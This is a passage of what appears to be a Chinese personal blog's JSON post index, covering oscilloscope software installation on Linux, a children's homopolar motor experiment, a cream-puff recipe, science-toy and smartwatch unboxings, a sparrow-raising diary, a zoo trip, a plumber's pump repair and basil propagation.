dpkg -i openhantek_20200729-95ff65f_amd64.deb # 執行 OpenHantek OpenHantek 這是 OpenHantek6022 的操作畫面。\nOpenHantek6022 是從原本的 OpenHantek 分支出來的專案，若要安裝原來的 OpenHantek，可以使用 apt 安裝：\n# 安裝原版本 OpenHantek sudo apt install openhantek sigrok sigrok 是一套開放原始碼的訊號分析工具組，其中的 PulseView 視窗界面軟體除了有邏輯分析儀功能之外，還可以作為示波器使用，可直接讀取 Hantek 6022BE 的類比訊號。\n若在 Ubuntu Linux 中可直接以 apt 安裝 sigrok：\n# 安裝 sigrok sudo apt install sigrok # 啟動 PulseView pulseview 這是 PulseView 的操作畫面。\n若要使用 Android 手機來接收 Hantek 6022BE 的訊號，可以使用 USB OTG 的轉接線將手機連接 Hantek 6022BE，並搭配 HScope 這一個手機示波器 App 來接收並查看訊號。\n參考資料 rudysmodelrailway ","permalink":"https://blog.gtwang.org/unboxing/hantek-6022be-usb-oscilloscope-20200831/","summary":"\u003cp\u003e本篇是 Hantek 6022BE 雙通道 20MHz USB 介面示波器的開箱文，並介紹一系列可以搭配 Hantek 6022BE 使用的示波器軟體。\u003c/p\u003e\n\u003cp\u003e這一款 Hantek 6022BE 示波器是我好久以前買的，現在才拿出來使用，現在市面上已經有更新的黑色版本了，不過第一次開箱使用，還是想記錄一下。\u003c/p\u003e","title":"[開箱] Hantek 6022BE 雙通道 20MHz USB 介面示波器"},{"content":"本篇介紹如何自己製作單極馬達，讓小朋友學習並體驗電磁感應。\n最近阿玄放暑假，找了一些科學實驗來讓他做，單極馬達是一種簡單的馬達，不需要電樞切換正負極就可以連續轉動，是一項很有趣的實驗教材。\n單極馬達是第一種被製造出來的馬達，只需要一顆電池、強力磁鐵與一根電線（銅線或鋁線等），就可以製作出來。\n將強力磁鐵吸附在電池底部，然後將電線纏繞成類似這樣的形狀，套上去之後，調整讓電線可以連接電池的正負極，並且可以轉動不會卡住的角度，這樣它就會開始不停的旋轉了。\n當電線接通電池的正負極時，就等於短路的狀態，所以電線會發燙，要小心不要被燙到。\n單極馬達有許多種形狀，不過基本的原理都是相同的。\n也可以將電線折成這種形狀，只不過這樣的形狀轉動時很容易飛走。\n單極馬達還有另外一種型式，準備一根鐵製的螺絲釘，加上電池、強力磁鐵與電線。\n將強力磁鐵吸住螺絲釘之後，再讓它們吸附在電池底部。\n將電線連接電池正極以及磁鐵側邊，這樣磁鐵與螺絲釘就會開始旋轉了。\n參考資料 2016科學教師營 趣味實驗 ","permalink":"https://blog.gtwang.org/diy/science-experiment-homopolar-motor-20200827/","summary":"\u003cp\u003e本篇介紹如何自己製作單極馬達，讓小朋友學習並體驗電磁感應。\u003c/p\u003e\n\u003cp\u003e最近阿玄放暑假，找了一些科學實驗來讓他做，單極馬達是一種簡單的馬達，不需要電樞切換正負極就可以連續轉動，是一項很有趣的實驗教材。\u003c/p\u003e","title":"[DIY] 單極馬達製作教學"},{"content":"本篇介紹如何使用美善品料理機，自己製作泡芙。\n基本的泡芙在美善品的基礎食譜中就有，材料很容易準備，製作過程也很簡單。\n材料 以下是製作泡芙的材料：\n水 150 公克。 奶油 80 公克。 鹽 1 小撮。 糖 2 茶匙。 麵粉 120 克（任一種麵粉）。 蛋 3 顆。 作法 Step 1\n加入水、奶油、糖、鹽，以 100°C、速度 1 混合大約 4 到 5 分鐘。\n將水、奶油、糖、鹽加熱混合之後，就會像這樣。\nStep 2\n加入麵粉，以速度 4 混合大約 20 秒。\nStep 3\n混合麵粉之後，取下主鍋讓它冷卻降溫，約 10 分鐘。\nStep 4\n將冷卻之後的主鍋放回，不要蓋上量杯，以速度 5 混合，同時分次加入三顆蛋。\n混合完成後，會像這樣。\nStep 5\n將混合完成後的麵糊，放入擠花袋，若沒有擠花袋就用普通塑膠袋代替。\n將麵糊放入塑膠袋之後，把袋口綁緊，然後在底部邊角的部分用剪刀剪一個小洞，就可以當成擠花袋來使用了。\n將烘培紙鋪在烤盤上，把麵糊擠上去。\n麵糊之間要稍微留一點空間，以免烤的時候黏在一起。\nStep 6\n擠完麵糊之後，用手沾一點水，將麵糊糰凸出來尖尖的部分修整一下。\n這是整形好的麵糊糰。\nStep 6\n將麵糊糰送進烤箱，以 200°C 烤大約 15 至 20 分鐘左右，大約讓泡芙烤到呈現金黃色即可。\n在烤的時候，泡芙的體積會膨脹許多。\nStep 7\n泡芙烤好之後，要放置約 10 分鐘讓它冷卻變硬。\n我這次烤的太久了，所以泡芙有點焦。\n這就是完成的泡芙。\n今天的下午茶就是自己烤的泡芙搭配自己調的熱可可。\n","permalink":"https://blog.gtwang.org/diy/thermomix-puffs-20200823/","summary":"\u003cp\u003e本篇介紹如何使用美善品料理機，自己製作泡芙。\u003c/p\u003e\n\u003cp\u003e基本的泡芙在美善品的基礎食譜中就有，材料很容易準備，製作過程也很簡單。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"材料\"\u003e材料\u003c/h2\u003e\n\u003cp\u003e以下是製作泡芙的材料：\u003c/p\u003e","title":"[美善品] 泡芙製作教學"},{"content":"本篇是風能動力車玩具的簡單開箱文。\n這一套風能動力車玩具是最近買給阿玄玩的科學玩具，拍賣網站上面的價格是新台幣 100 元，塑膠零件的品質非常好，其原理就是利用風力吹動風扇葉片，透過齒輪與傳動軸，帶動車輪轉動。\n這些是所有的零件。\n說明書對於組裝過程的敘述很詳細。\n塑膠零件的品質都很不錯。\n塑膠零件組裝時，咬合的部分都很精準。\n前輪還有可以轉彎的設計，這種設計需要非常精密的塑膠零件才有辦法做。\n這是組裝好的樣子，大致上來說組裝不是太困難，唯一需要注意的就是齒輪的部分，組合齒輪的時候需要注意齒輪的咬合，如果沒有調整好，在轉動時容易鬆脫。\n這台風能動力車玩具需要在室外風大一點的時候才能玩，如果用電風扇直接吹也是會動，但是跑不快。\n","permalink":"https://blog.gtwang.org/unboxing/wind-power-car-toy-for-kids-20200822/","summary":"\u003cp\u003e本篇是風能動力車玩具的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e這一套風能動力車玩具是最近買給阿玄玩的科學玩具，拍賣網站上面的價格是新台幣 100 元，塑膠零件的品質非常好，其原理就是利用風力吹動風扇葉片，透過齒輪與傳動軸，帶動車輪轉動。\u003c/p\u003e","title":"[開箱] 風能動力車玩具"},{"content":"本篇是七合一無重力磁浮組合科學實驗玩具的簡單開箱文。\n最近阿玄放暑假，我買了一系列具有科學實驗性質的玩具讓他玩，這一組七合一無重力磁浮組合科學實驗玩具是利用簡單的磁鐵組合成各種有意思的玩具，對於小朋友來說應該非常有趣。\n這一組七合一無重力磁浮組合價格只要新台幣 100 元，而品質我感覺普普通通，適合小朋友當玩具。\n這些是所有的零件以及說明書，說明書是簡體字。\n基本上組裝並不會太難，小朋友自己看著說明書自己組裝通常沒什麼問題，不過由於它的塑膠零件製作的不是非常精密，所以在組裝上有時候會有太鬆或太緊的問題。\n它可以組裝成七種不同的形態，有些很有趣，有些則是還好。\n組裝好之後，阿玄是感覺很好玩。\n這款玩具雖然品質普通，但是價位便宜，以玩具等級來說我感覺還是值得買的。\n","permalink":"https://blog.gtwang.org/unboxing/7-in-1-anti-gravity-maglev-science-kit-for-kids-20200822/","summary":"\u003cp\u003e本篇是七合一無重力磁浮組合科學實驗玩具的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近阿玄放暑假，我買了一系列具有科學實驗性質的玩具讓他玩，這一組七合一無重力磁浮組合科學實驗玩具是利用簡單的磁鐵組合成各種有意思的玩具，對於小朋友來說應該非常有趣。\u003c/p\u003e","title":"[開箱] 七合一無重力磁浮組合科學實驗玩具"},{"content":"本篇是兒童入門顯微鏡玩具，加上生物標本的開箱文。\n最近放暑假怕小朋友在家無聊、每天都想玩電腦，所以準備了一系列的科學玩具，這一個兒童入門顯微鏡價格只要三、四百塊，雖然是玩具等級的顯微鏡，但是可以讓小朋友體驗完整的實驗過程，對於完全沒有使用過顯微鏡的小朋友來說是一個很不錯的科學玩具。\n這就是顯微鏡的外盒以及生物標本，這台顯微鏡的放大倍率有 100 倍、400 倍與 1200 倍三種。\n除了一台顯微鏡之外，它還有附帶許多週邊配件，包含載玻片、鑷子、採集樣本的罐子等，整台顯微鏡與所有配件的材質都是塑膠的，所以不必擔心摔破的問題，讓小朋友操作也很放心。\n我這次買的是有手機架（那隻紅色的）的版本，但是我感覺手機架不好用，直接用手拿著拍攝就可以了。\n生物標本一盒 50 元，裡面有 12 片，載玻片材質也是塑膠的。\n每片生物標本上面都有註明他是什麼東西，像這一片就是鴿子的羽毛（pigeon feather）。\n顯微鏡使用前要先裝上電池。\n打開光源燈之後，就可以將標本放上去觀察了。\n這台顯微鏡的設計跟標準的顯微鏡非常類似，所以操作的步驟與方法都跟標準的顯微鏡相同，要注意載物臺、物鏡旋轉盤、粗調節輪、細調節輪的配合操作，這部份需要大人在旁邊指導一下。\n看完買來的生物標本之後，也可以自己去採集想看的樣本。\n自己製備樣本，放在顯微鏡之下觀察。\n以下是我用手機對著目鏡直接拍攝的照片，這台顯微鏡只是玩具等級，所以成像品質沒辦法太好，但我覺得對於第一次使用顯微鏡的小朋友來說已經夠用了。\n","permalink":"https://blog.gtwang.org/unboxing/kids-functional-toy-microscope-20200820/","summary":"\u003cp\u003e本篇是兒童入門顯微鏡玩具，加上生物標本的開箱文。\u003c/p\u003e\n\u003cp\u003e最近放暑假怕小朋友在家無聊、每天都想玩電腦，所以準備了一系列的科學玩具，這一個兒童入門顯微鏡價格只要三、四百塊，雖然是玩具等級的顯微鏡，但是可以讓小朋友體驗完整的實驗過程，對於完全沒有使用過顯微鏡的小朋友來說是一個很不錯的科學玩具。\u003c/p\u003e","title":"[開箱] 兒童入門顯微鏡玩具，學生用 1200 倍複式顯微鏡"},{"content":"本篇是 T3 Solar Kit 太陽能機械恐龍、昆蟲、鑽孔機三合一玩具的簡單開箱記錄。\n最近放暑假，阿玄在家時間很長，怕他在家沒事做很無聊，所以就上網訂了一些科學實驗類型的小玩具給他玩。\n這一套 T3 Solar Kit 太陽能機械恐龍、昆蟲、鑽孔機三合一玩具的價格只要新台幣 100 元，因為它的價格很便宜，所以原本只是打算當普通玩具給阿玄打發時間，沒有預期它會有多好的品質，也沒打算寫開箱記錄，但是組裝好之後卻發現它的品質出乎預料的好，CP 值非常高，還是值得記錄一下。\n這一款太陽能玩具是機械恐龍、昆蟲、鑽孔機三合一的設計，可以組裝任一種型態，部分的零件是共用的，一次只能組裝出其中一種，以這個價位來說已經是非常棒的設計了。\n這些是所有的內容物。因為我一開始沒打算寫開箱文，所以開箱的時候沒有拍到照片，這一張照片是組裝好機械恐龍之後補拍的。太陽能板、馬達、齒輪等細部零件一開始都是分開的，所有的零件都要參考說明書來組裝，而這裡是都已經組裝進去了。\n說明書的圖片與解說都非常詳細，按照說明書細心一點慢慢組裝大概都不會有什麼問題，不過若是小朋友的話，可能需要大人幫忙一下。\n這套玩具所有的塑膠零件品質都非常好，這就是我非常驚訝的地方。\n說明書是建議用斜口鉗來剪下這些塑膠零件，並且將剪斷的部位修平，如果手上沒有斜口鉗，可以用剪刀剪下之後，再用指甲剪修平即可。\n這是組裝好的太陽能機械恐龍，頭上黑色的那一片就是太陽能板。\n內部的這些齒輪在剛買來的時候都是分開的，都要按照說明書自己組裝上去，不過細心一點慢慢組都不會太難。\n從太陽能板接出的兩條電線就直接連接內部的小型迷你馬達，當光線足夠的時候，它就會自己走動。\n要讓它能動的話，通常在室內的光線是不夠的，要拿到室外陽光比較充足的地方。\n這是夏天早上七點多稍微有太陽的時候，放在地上它就會自己走了。\n阿玄第一次玩這種太陽能的玩具，不需要裝電池、曬太陽就會自己動，拿到之後非常喜歡。\n玩了一陣子之後，還可以改造成其他的形式，這是改成鑽孔機的樣子。\n","permalink":"https://blog.gtwang.org/unboxing/t3-solar-kit-solar-power-driven-dinosaur-insect-drilling-machine-three-in-one/","summary":"\u003cp\u003e本篇是 T3 Solar Kit 太陽能機械恐龍、昆蟲、鑽孔機三合一玩具的簡單開箱記錄。\u003c/p\u003e\n\u003cp\u003e最近放暑假，阿玄在家時間很長，怕他在家沒事做很無聊，所以就上網訂了一些科學實驗類型的小玩具給他玩。\u003c/p\u003e","title":"[開箱] T3 Solar Kit 太陽能機械恐龍、昆蟲、鑽孔機三合一玩具"},{"content":"本篇記錄我在家門口撿到剛出生的小麻雀，用飼料飼養的過程。\n最近有一天出門回到家的時候，突然看見家門口出現一隻剛出生不久的小麻雀爬進騎樓內，大概是不小心從鳥巢掉出來的，我覺得他也沒辦法回去原本的巢了，所以就把它留下來照顧一陣子，以下是飼養這隻小麻雀的記錄。\n第一週 我剛撿到這隻小麻雀的時候，它身上幾乎沒什麼羽毛，大概是剛出生沒幾天。\n要飼養這種剛出生的小麻雀，最簡單又方便的做法就是去賣鳥飼料的店家，買這種專門飼養雛鳥的飼料，一包幾十元而已，就足夠把它養到大，不用自己花力氣準備食物。\n買鳥飼料的同時，記得一定要買一隻這種餵食器，把飼料加一點水之後，用戳的方式將飼料塞進餵食器，然後再來餵小鳥，非常好用。\n當小麻雀肚子餓想吃東西的時候，只要聽到周圍有動靜就會一直叫，而把餵食器靠近它的時候，它會自己咬住餵食器，這時候再把飼料擠進它的嘴巴就可以了，有餵食器真的方便很多！\n小麻雀平常就照三餐的時間餵食就可以了，但是因為我平常要上班，所以就早上出門前餵一次，下班回家之後到睡覺前多餵幾次。\n第二週 小麻雀的羽毛在第二週就明顯變多了。\n阿玄從學校回來之後，第一次看到這麼小的麻雀很興奮，很喜歡餵它。\n第三週 過了三週之後，小麻雀的羽毛更多了一些，這時候已經稍微會飛了，我平常把它放在紙箱子裡面，偶爾都會飛出來，所以這時候我就把紙箱子放在騎樓下，讓它隨時可以飛走。\n過了幾天之後，它就自己跑出去了。\n","permalink":"https://blog.gtwang.org/life/raising-baby-sparrow-202007/","summary":"\u003cp\u003e本篇記錄我在家門口撿到剛出生的小麻雀，用飼料飼養的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近有一天出門回到家的時候，突然看見家門口出現一隻剛出生不久的小麻雀爬進騎樓內，大概是不小心從鳥巢掉出來的，我覺得他也沒辦法回去原本的巢了，所以就把它留下來照顧一陣子，以下是飼養這隻小麻雀的記錄。\u003c/p\u003e","title":"用飼料飼養小麻雀記錄"},{"content":"這裡介紹如何用烤箱加熱冷藏過的壽司，撒上起司製作焗烤壽司。\n自己製作壽司的時候，如果一餐吃不完，可以先冷藏起來，隔餐退冰後再吃，不過吃冷的壽司對腸胃不好，這時候可以用烤箱加熱，若有起司的話，撒上去烤一下就變成焗烤壽司，也非常好吃。\nStep 1\n將冷藏的壽司稍微退冰之後，放在盤子上。\nStep 2\n在壽司上灑上一些起司。\n起司用一般製作披薩用的就可以，全聯就有可以買。\nStep 3\n讓烤箱以 180 度預熱 10 分鐘，再放入壽司，以上火 180 度烤大約 10 到 12 分鐘。\nStep 4\n烤好之後，焗烤壽司就完成了。\n","permalink":"https://blog.gtwang.org/diy/baked-sushi-heating-refrigerated-sushi-20200801/","summary":"\u003cp\u003e這裡介紹如何用烤箱加熱冷藏過的壽司，撒上起司製作焗烤壽司。\u003c/p\u003e\n\u003cp\u003e自己製作壽司的時候，如果一餐吃不完，可以先冷藏起來，隔餐退冰後再吃，不過吃冷的壽司對腸胃不好，這時候可以用烤箱加熱，若有起司的話，撒上去烤一下就變成焗烤壽司，也非常好吃。\u003c/p\u003e","title":"焗烤壽司：烤箱加熱冷藏壽司"},{"content":"本篇是今年暑假帶阿玄去頑皮世界野生動物園玩的記錄。\n今年因為 COVID-19 新冠肺炎疫情，交通部觀光局推出了安心旅遊方案，未滿 19 歲之本國國民可以免費進入許多觀光景點，剛好頑皮世界也在名單之內，從我們家開車到這邊只需要半小時，所以就帶阿玄去玩了一天。\n由於南部的夏天非常炎熱，所以特別挑一天有點陰雨的日子，非假日的早上來到這邊，停車場的車子不是很多。\n這是頑皮世界野生動物園的大門口，阿玄很期待要進去了。\n未滿 19 歲的小朋友適用安心旅遊方案，只要在購票窗口這裡填寫登錄表，並出示健保卡即可領取門票。\n幼童票的面額是 280 元，安心旅遊方案等於讓一個小朋友省了 280 元。\n大人的門票是 480 元，這部分就要自己付錢了。\n這是頑皮世界野生動物園的導覽地圖，整個園區內有非常多的動物可以看，建議在入園時記得拿一張地圖帶在身上，遊園的時候比較方便。\n阿玄一入園看到許多漂亮的動物就非常興奮。\n這一隻是大巨嘴鳥，這裡的動物們看起來都很健康，體態都很不錯。\n在整個園區中，有一些動物是放在外面自由走動的，這一隻是孔雀。\n這一些動物我忘了是什麼了，也是在園區內自由走來走去。\n這是藍喉皺盔犀鳥，也是很大一隻。\n這一區是金剛鸚鵡，數量還不少，讓我覺得最厲害的是這些鸚鵡沒有被綁住，都乖乖待在這裡，不會亂跑。\n在園區中主要的遊園路線都有像這樣的鐵皮可以遮陽或遮雨，兩側不定時會噴灑水霧，逛起來還算滿舒適的。\n這一區是紅鶴區，紅鶴的數量也很多。\n走在路上時常可以遇到孔雀。\n這一區是黑手長臂猿。\n這一些是南美水豚，我們來的時候剛好遇到他們在吃東西。\n有一些動物是放在室內的，透過玻璃窗讓遊客觀看。\n因為這裡的動物種類實在太多了，每一種都要拍實在是拍不完，所以後來就大約拍幾種自己喜歡的幾種，實際上這裡還有很多其他的動物。\n這是金剛鸚鵡的表演，訓練員會讓牠們表演一些有趣的動作，每做完一個動作就給牠們一些食物作為獎勵。\n這裡的鴿子都不會怕人，所以可以近距離拍照。\n這一隻白孔雀好大一隻，就直接站在路邊。\n中午我們在這裡找一個可以坐著吹冷氣的地方吃中餐。\n我們今天是自己帶早上做的壽司當作午餐。\n中午吃飽之後，去買了一束牧草來餵食動物。\n餵食鴕鳥的時候不可以靠太近，因為牠們很兇，會主動搶東西吃。\n這是迷你豬的表演，訓練員會讓牠們在場地中跑過許多障礙。\n在鴿子區這裡可以在自動販賣機買飼料來餵食鴿子，飼料一罐才十元，阿玄非常喜歡餵，一口氣就餵了四罐。\n我們在餵鴿子的時候，剛好遇到有一隻大孔雀帶著好多隻小孔雀一起來吃。\n下午天氣變好了，天氣熱的時候，金剛鸚鵡都躲在陰影下。\n下午我們要離開的時候，天氣非常好，補拍一張大門口的照片。\n","permalink":"https://blog.gtwang.org/life/wanpi-world-safari-zoo-tainan-202007/","summary":"\u003cp\u003e本篇是今年暑假帶阿玄去頑皮世界野生動物園玩的記錄。\u003c/p\u003e\n\u003cp\u003e今年因為 COVID-19 新冠肺炎疫情，交通部觀光局推出了安心旅遊方案，未滿 19 歲之本國國民可以免費進入許多觀光景點，剛好頑皮世界也在名單之內，從我們家開車到這邊只需要半小時，所以就帶阿玄去玩了一天。\u003c/p\u003e","title":"[台南旅遊景點] 頑皮世界野生動物園"},{"content":"本篇記錄請水電師傅來更換抽水馬達與水塔浮球的過程。\n我家裡的自來水原本不用抽水馬達就可以自己上到樓頂的水塔，最近自來水廠減壓送水，自來水完全上不去，而抽水馬達可能因為太久沒用所以也壞了，一時之間無水可用，趕緊請附近的水電師傅來換一個新的抽水馬達。\n這就是裝在家門口已經年久失修的抽水馬達，長期日曬雨淋，上方的塑膠都脆化了。\n水塔內部的浮球也很老舊，我擔心換了新的抽水馬達之後，這邊可能會止不住較大的水壓，所以這次請水電師傅一起幫我更換掉。\n以下是請水電師傅來更換的過程，這次換的抽水馬達跟原本的差不多。\n這一支則是新的水塔浮球。\n水塔浮球就是一顆浮球加上止水閥，當水塔的水滿的時候，就自動帶上止水閥停止進水，如果這一個止水閥止不住水的時候，水就會一直抽進水塔然後滿出來，造成水塔漏水，所以我個人覺得這個幾百塊的東西不要省，出問題是很麻煩的，太老舊就直接換掉。\n開始更換抽水馬達時，要先把水表前開關關閉，然後把水管內的水放掉。阿玄很少有機會看到水電施工的過程，很好奇在旁邊一直看。\n斷電之後，開始拆卸舊抽水馬達。\n師傅這次順便幫我在進水的水管上加裝一個止水閥，方便關水。所以先把下方的水管剪掉。\n裝上止水閥。\n新舊抽水馬達幾乎都一樣，所以不太需要變動水管與底座的位置。\n裝上新的抽水馬達。\n接上下方的水管。\n將水管接上新抽水馬達。\n這樣就完成新抽水馬達的更換了。\n接下來更換水塔內部的水塔浮球。\n水塔浮球的更換方式很單純，只要纏上止瀉帶，然後轉上去鎖緊就可以了，不過我就算知道怎麼換，我還是會請水電師傅來換，因為止瀉帶如果纏得不好，或是鎖的時候沒鎖好，漏水可是很麻煩的。\n以上就是這次更換抽水馬達與水塔浮球的過程。\n這一位水電師傅住在台南西港，之前請他換過一次燈具，因為服務很不錯所以都習慣找他，他通常都只服務西港附近的在地人（距離太遠的服務也不方便），如果有需要的人可以參考一下。\n名稱：水電工程師傅 黃元宏\n服務項目：馬達水塔、衛浴設備、燈具吊扇、瓦斯爐具、熱水器\n電話：0937-369-430\n(06) 7952891\n地址：台南市西港區慶安路 228 巷 8 號\n","permalink":"https://blog.gtwang.org/life/plumbing-and-heating-technician-replace-pump-motor-sigang-tainan-20200419/","summary":"\u003cp\u003e本篇記錄請水電師傅來更換抽水馬達與水塔浮球的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e我家裡的自來水原本不用抽水馬達就可以自己上到樓頂的水塔，最近自來水廠減壓送水，自來水完全上不去，而抽水馬達可能因為太久沒用所以也壞了，一時之間無水可用，趕緊請附近的水電師傅來換一個新的抽水馬達。\u003c/p\u003e","title":"[台南西港] 請水電師傅更換抽水馬達、水塔浮球記錄"},{"content":"本篇是我最近使用扦插（插條、插枝）的方式，繁殖羅勒（九層塔）的過程記錄。\n最近為了給阿玄做九層塔蓋飯以及披薩，常常需要很多的九層塔，之前我有自己在陽台種了三盆的九層塔，不過九層塔蓋飯需要的九層塔量很大，所以趁著清明節之前來繁殖，多種幾盆九層塔。\n元宵節之後到清明節之前是最適合進行植物換盆、扦插的時間。\n九層塔的扦插非常容易，首先剪一條九層塔的枝條，長度約十公分以上，把大片葉子摘掉，泡在水裏，讓它生根。\n大約過了兩週左右，新的根就會長出來，浸泡的期間建議可以放在明亮處，但不會讓太陽直接照到地方。\n這就是過了兩週之後，新長出來的根。\n九層塔的根長出來之後，就可以準備花盆與土壤，將九層塔種下去了。\n種下去之後再澆個水，就完成九層塔的扦插繁殖了。\n這幾盆都是今年我新繁殖的九層塔，左邊兩盆是之前繁殖的，那時候剪的枝條比較粗，所以我就直接插進土裡，沒有經過泡水生根的步驟，種了兩盆都有活。\n沒有經過泡水生根的話，初期葉子很容易枯萎掉，所以不能直接曬到太陽，最好早晚都澆一次水，大約一兩週之後，等它根長好就沒問題了。\n這是第二盆直接插枝的九層塔。\n這是這次泡水生根的九層塔。\n最近繁殖了三盆新的九層塔，現在陽台總共有六盆九層塔，等它們都長起來，就有充足的九層塔做各種料理了。\n這是另外兩盆九層塔，這次繁殖的九層塔，枝條就是從這兩棵剪的。\n","permalink":"https://blog.gtwang.org/agriculture/basil-cutting-propagation-20200314/","summary":"\u003cp\u003e本篇是我最近使用扦插（插條、插枝）的方式，繁殖羅勒（九層塔）的過程記錄。\u003c/p\u003e\n\u003cp\u003e最近為了給阿玄做九層塔蓋飯以及披薩，常常需要很多的九層塔，之前我有自己在陽台種了三盆的九層塔，不過九層塔蓋飯需要的九層塔量很大，所以趁著清明節之前來繁殖，多種幾盆九層塔。\u003c/p\u003e","title":"羅勒（九層塔）扦插繁殖記錄（插條、插枝）"},{"content":"本篇是 Amazfit 華米 GTS 魅力版智慧手錶的簡單開箱文。\n前陣子我買了一隻小米手環 4，發現這種智慧型的手環與手錶非常實用，價格也不貴，所以就又買了一隻高級一點的 Amazfit 華米 GTS 魅力版智慧手錶。\n我從燦坤的線上購物下訂了一隻黑色的 Amazfit 華米 GTS，價格是 3,995 元，過幾天就收到貨了，這是收到的包裹。\n打開包裹，裡面包裝很完整，有兩層的泡泡袋保護。\n這是內層的泡泡袋，還有燦坤的膠帶。\n這就是 Amazfit 華米 GTS 魅力版智慧手錶的外盒。\n盒子背面有基本的規格。\n打開外盒之後，裡面還有白色的內盒，這個內盒非常結實，跟一般手機的包裝盒差不多了。\n打開內盒，這一隻就是 Amazfit 華米 GTS 魅力版智慧手錶。\n這些是所有的內容物，包含 Amazfit 華米 GTS 魅力版智慧手錶、充電線與說明書。\n錶帶的品質非常好，戴起來很舒服。\n手錶背面有充電接點（上下兩個點），還有用來測量心率的 BioTrackerTM PPG 生物追蹤光學傳感器（中間三個點）。\n更換手錶的錶帶很容易，錶帶可直接以徒手拆卸。\n手錶在使用之前，要先用手機下載 Amazfit 的 App，然後掃描手錶的二維條碼進行綁定。\n以手機綁定手錶時，必須開啟手機的 GPS 定位與藍芽。\n綁定手機 App 之後，手錶就會顯示預設的錶盤。\n完成綁定 App 之後，接著會自動進行手錶的升級，升級需要等比較久一點，由於是透過藍芽升級，所以升級過程中手錶不能離開手機太遠。\n升級完成之後，就可以開始使用手錶了。\nAmazfit GTS 的螢幕是 AMOLED，解析度高達 348×442（341 ppi），看起來非常精緻。\n在狀態畫面會顯示今天到目前為止所走的步伐數，以及換算的距離與卡路里數。\n在心率畫面中，可以測量並顯示自己目前的心率值，同時亦可查看整天的心率記錄圖。\n在主畫面中用手指往下滑，可以顯示這個快速設定選單，這個設計跟手機很像，裡面有螢幕亮度、手電筒、勿擾模式等常用功能。\n在主畫面用手指往上滑，可以開啟主要選單，裡面有各種的功能。\n這次買手錶的時候，也順便上拍賣網站買了 Amazfit GTS 專用的螢幕保護膜與保護殼。\n貼上螢幕保護膜、裝上保護殼之後，感覺變大了一些。\n這一條是手錶的 USB 充電線。\n這一個充電接頭是有磁性的，可直接吸在手表的充電接點上，充電非常方便，而且充電時間也很短，一下子就充飽了。\n在 Amazfit 手機 App 的部分，介面與功能跟小米運動 App 差不多，裡面有各種運動與健康相關的監測值。\n許多 Amazfit GTS 手錶的設定都要透過手機 App 來調整，錶盤的部分選擇性還不少。\n各種運動記錄也都可以在這裡查到很詳細的資料與分析結果。\n用了幾天下來，我是感覺 Amazfit GTS 對於健康管理來說滿實用的，螢幕大而且很省電，正常使用大約可以到兩週左右，不用常常充電。\n","permalink":"https://blog.gtwang.org/unboxing/amazfit-gts-smart-watch/","summary":"\u003cp\u003e本篇是 Amazfit 華米 GTS 魅力版智慧手錶的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e前陣子我買了一隻\u003ca href=\"/unboxing/mi-smart-band-4/\"\u003e小米手環 4\u003c/a\u003e，發現這種智慧型的手環與手錶非常實用，價格也不貴，所以就又買了一隻高級一點的 Amazfit 華米 GTS 魅力版智慧手錶。\u003c/p\u003e","title":"[開箱] Amazfit 華米 GTS 魅力版智慧手錶"},{"content":"本篇記錄我的 HONDA ACCORD K9 汽車方向機皮帶斷裂與更換的過程。\n今天下午開車進台南市區，車子開到一半的時候方向機皮帶突然斷掉，方向盤馬上變得非常重，趕緊找附近的保養廠維修，還好那時候保養廠還沒下班，不然就麻煩了。\n老闆說換皮帶大約一小時以內可以處理好，一開始放個電扇在上面吹，等引擎降溫。\n這就是方向機皮帶斷裂脫落的地方。\n這是斷裂的方向機皮帶。\n因為要換皮帶，所以就連同旁邊那一條皮帶一起換掉，以免哪天又斷了。這是換好的新皮帶。\n這是今天換兩條皮帶的收費單據。\n阿玄很好奇在看斷掉的皮帶。\n參考資料 車勢網 ","permalink":"https://blog.gtwang.org/life/honda-accord-k9-replace-steering-belt-20200307/","summary":"\u003cp\u003e本篇記錄我的 HONDA ACCORD K9 汽車方向機皮帶斷裂與更換的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e今天下午開車進台南市區，車子開到一半的時候方向機皮帶突然斷掉，方向盤馬上變得非常重，趕緊找附近的保養廠維修，還好那時候保養廠還沒下班，不然就麻煩了。\u003c/p\u003e","title":"HONDA ACCORD K9 方向機皮帶斷裂、更換記錄"},{"content":"本篇是我最近購買小米手環 4 的簡單開箱記錄。\n因為長期忙於工作，都沒有注意在運動，感覺體力變差了，最近想要監控與記錄自己每天的運動，所以想買一隻便宜實用的穿戴裝置，而看到小米手環好像很多人用，價格也便宜，拍賣網站上賣的還有贈品，所以就買了一隻來試用看看。\n這些是這次買的小米手環 4 以及附贈的手腕帶與螢幕保護貼。\n這是小米手環 4 的規格表，有 